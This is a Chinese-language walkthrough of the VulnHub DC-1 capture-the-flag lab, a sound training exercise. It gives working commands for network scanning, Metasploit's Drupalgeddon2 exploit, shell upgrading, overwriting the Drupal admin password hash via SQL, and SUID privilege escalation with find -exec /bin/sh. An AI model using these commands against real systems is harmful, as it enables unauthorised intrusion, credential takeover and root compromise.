DC1靶机渗透测试

Vuln hub 渗透测试实战

Vulnhub是一个开放的安全靶场,我们可以使用它所提供的环境进行渗透测试实战。
在这里插入图片描述

DC所有环境下载地址:https://www.vulnhub.com/series/dc,199/

环境搭建:

1.下载 OVA(Open Virtualization Appliance:开放虚拟化设备)https://www.vulnhub.com/entry/dc-1-1,292/

在这里插入图片描述

2.拖入 VMware 打开,配置相关设置,开启运行
3.打开 Kali Linux

进行渗透

1.探测存活目标

有很多方式进行探测,这里我使用 arp scan(速度较快)
使用 arp-scan 进行内网探测主机

arp-scan -l

在这里插入图片描述

发现有 119 为 Vmware Inc,疑似可以进行渗透

2.探测目标开放端口

探测网段内所有主机是否开启22,23,3306,80端口,若开启则列出详细信息

nmap -sV -p 22,23,3306,80 192.168.1.0/24

在这里插入图片描述

发现该主机开放 80 端口,使用了 Apache 服务,可以对其进行渗透测试

3.访问该主机

发现 Drupal 框架,使用 msf 工具进行攻击(msf将多数漏洞集成了模块可以直接使用)
在这里插入图片描述

漏洞利用

1.打开 msfconsole 查找 drupal 相关模块
msfconsole    #打开 msf 工具

在这里插入图片描述

2.寻找 drupal 相关模块
search drupal    #寻找 drupal 相关模块

在这里插入图片描述

优先使用 时间新,rank高的模块(或自己根据情况进行判断)

3.使用相关模块
msf> use exploit/unix/webapp/drupal_drupalgeddon2    #使用该模块

在这里插入图片描述

4.查看所有设置

msf exploit> show options #显示所有设置
在这里插入图片描述

Required 为 yes 是需要配置的项,这里只有 RHOSTS (目标 ip 地址)没有设置

5.设置目标 ip 并执行
set rhosts 192.168.1.119    #设置目标 ip 
run    #开始攻击

如果成功就会拿到对方的 shell ,输入 shell 命令得到对方命令窗口,ls 发现 flag1

在这里插入图片描述

6.使用 cat 打印出 flag1 内容,发现下一步提示 “配置文件”

在这里插入图片描述

(每个好的CMS都需要一个配置文件,你也需要一个配置文件。)

7.找到配置文件,在 www 目录 ls 发现 sites 目录,进入目录

在这里插入图片描述

8.找到配置文件,使用 cat 打印,发现 flag2 ,及 mysql 用户名和密码

在这里插入图片描述
在这里插入图片描述

(蛮力和字典攻击不是获得访问的唯一方法(您将需要访问)。您可以使用这些凭据做什么?)

9.根据上一步提示我们来看一下数据库

因为当前 shell 没有提示,所以我们使用 python 弹回一个新 shell

python -c 'import pty;pty.spawn("/bin/sh")'

在这里插入图片描述

输入账号密码,进入数据库
在这里插入图片描述

查看信息:

mysql> show databases;    #列出所有数据库

在这里插入图片描述

mysql> use drupaldb;    #进入 drupaldb 数据库

在这里插入图片描述

mysql> show tables;    #列出当前数据库所有表

在这里插入图片描述

select * from users;    #列出 users 表中所有内容

在这里插入图片描述

发现有用户名及密码 hash 值

10.更改 admin 密码

退出 mysql 命令行,测试 find 命令是否能够使用并进行利用

compgen -c    #查看当前可用命令
find / -name "*pass*"    #查看所有带有pass的文件

在这里插入图片描述

发现 find 命令可以使用,查找所有带有 pass 的文件,发现 www 目录下有 /var/www/scripts/password-hash.sh 文件,使用 cat 打印

#!/usr/bin/php
<?php

/**
 * Drupal hash script - to generate a hash from a plaintext password
 *
 * Check for your PHP interpreter - on Windows you'll probably have to
 * replace line 1 with
 *   #!c:/program files/php/php.exe
 *
 * @param password1 [password2 [password3 ...]]
 *  Plain-text passwords in quotes (or with spaces backslash escaped).
 */

if (version_compare(PHP_VERSION, "5.2.0", "<")) {
  $version  = PHP_VERSION;
  echo <<<EOF

ERROR: This script requires at least PHP version 5.2.0. You invoked it with
       PHP version {$version}.
\n
EOF;
  exit;
}

$script = basename(array_shift($_SERVER['argv']));

if (in_array('--help', $_SERVER['argv']) || empty($_SERVER['argv'])) {
  echo <<<EOF

Generate Drupal password hashes from the shell.

Usage:        {$script} [OPTIONS] "<plan-text password>"
Example:      {$script} "mynewpassword"

All arguments are long options.

  --help      Print this page.

  --root <path>

              Set the working directory for the script to the specified path.
              To execute this script this has to be the root directory of your
              Drupal installation, e.g. /home/www/foo/drupal (assuming Drupal
              running on Unix). Use surrounding quotation marks on Windows.

  "<password1>" ["<password2>" ["<password3>" ...]]

              One or more plan-text passwords enclosed by double quotes. The
              output hash may be manually entered into the {users}.pass field to
              change a password via SQL to a known value.

To run this script without the --root argument invoke it from the root directory
of your Drupal installation as

  ./scripts/{$script}
\n
EOF;
  exit;
}

$passwords = array();

// Parse invocation arguments.
while ($param = array_shift($_SERVER['argv'])) {
  switch ($param) {
    case '--root':
      // Change the working directory.
      $path = array_shift($_SERVER['argv']);
      if (is_dir($path)) {
        chdir($path);
      }
      break;
    default:
      // Add a password to the list to be processed.
      $passwords[] = $param;
      break;
  }
}

define('DRUPAL_ROOT', getcwd());

include_once DRUPAL_ROOT . '/includes/password.inc';
include_once DRUPAL_ROOT . '/includes/bootstrap.inc';

foreach ($passwords as $password) {
  print("\npassword: $password \t\thash: ". user_hash_password($password) ."\n");
}
print("\n");

分析代码发现是生成 hash 值的 PHP 代码,使用方法:

php scripts/password-hash.sh + 转换hash的值

使用该代码将 123456 的 hash 列出

在这里插入图片描述

重新进入数据库,update 进行更新 admin 用户密码

update drupaldb.users set pass = '$S$DVtWXRBEHZhH2qEOet/QhIN0m6meN5nNsKLAkioBygXI8PBuQAtF' where name = 'admin';

在这里插入图片描述

11.使用用户名密码登入 Drupal cms,在 Dashboard 找到 flag3

在这里插入图片描述

flag3:Special PERMS will help FIND the passwd - but yo 'll need to -exec that command to work out how to get what’sin the shadow.
特殊的 perms 会帮助你找到通行证,但是你需要执行 -exec 这个命令才能弄清楚如何在 shadow 中得到什么。

12.根据上一步提示来获取 root 权限(SUID提权)
SUID可以让调用者以文件拥有者的身份运行该文件,
所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,
那么我们运行该文件的时候就得获得root用户的身份了。

以下3条命令根据个人情况自行选择,我这里选择第一个

find / -user root -perm -4000 -print 2>/dev/null    或
find / -perm -u=s -type f 2>/dev/null    或
find / -user root -perm -4000 -exec ls -ldb {} \;
#使用 find 查找 root 用户创建权限 4000 的文件
/ 表示从系统的根目录开始遍历所有目录
-perm 表示搜索的权限
-user root 或 -u=s表示查找 root 用户拥有的文件
-type 表示寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
>表示重定向

在这里插入图片描述

利用find执行进行提权

find flag1.txt -exec whoami \;    #查看创建 flag1.txt 文件用户的权限
find flag1.txt -exec '/bin/sh' \;    #使用 find 以 flag1.txt 创建者身份回弹 shell

使用 find 命令查找 flag,发现 flag4 和 thefinalflag

在这里插入图片描述

flag4:
在这里插入图片描述

是否可以使用相同的方法查找或访问根中的标志?可能吧。但也许没那么容易还是很容易?
(正常方法或许是进入 flag4 用户,我这直接获取了 root 权限)

thefinalflag:
在这里插入图片描述

干得好!
希望你已经享受了这一切,并学到了一些新的技巧。你可以通过 twitter -@DCAU7 联系我,让我知道你对这段小旅程的看法。

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值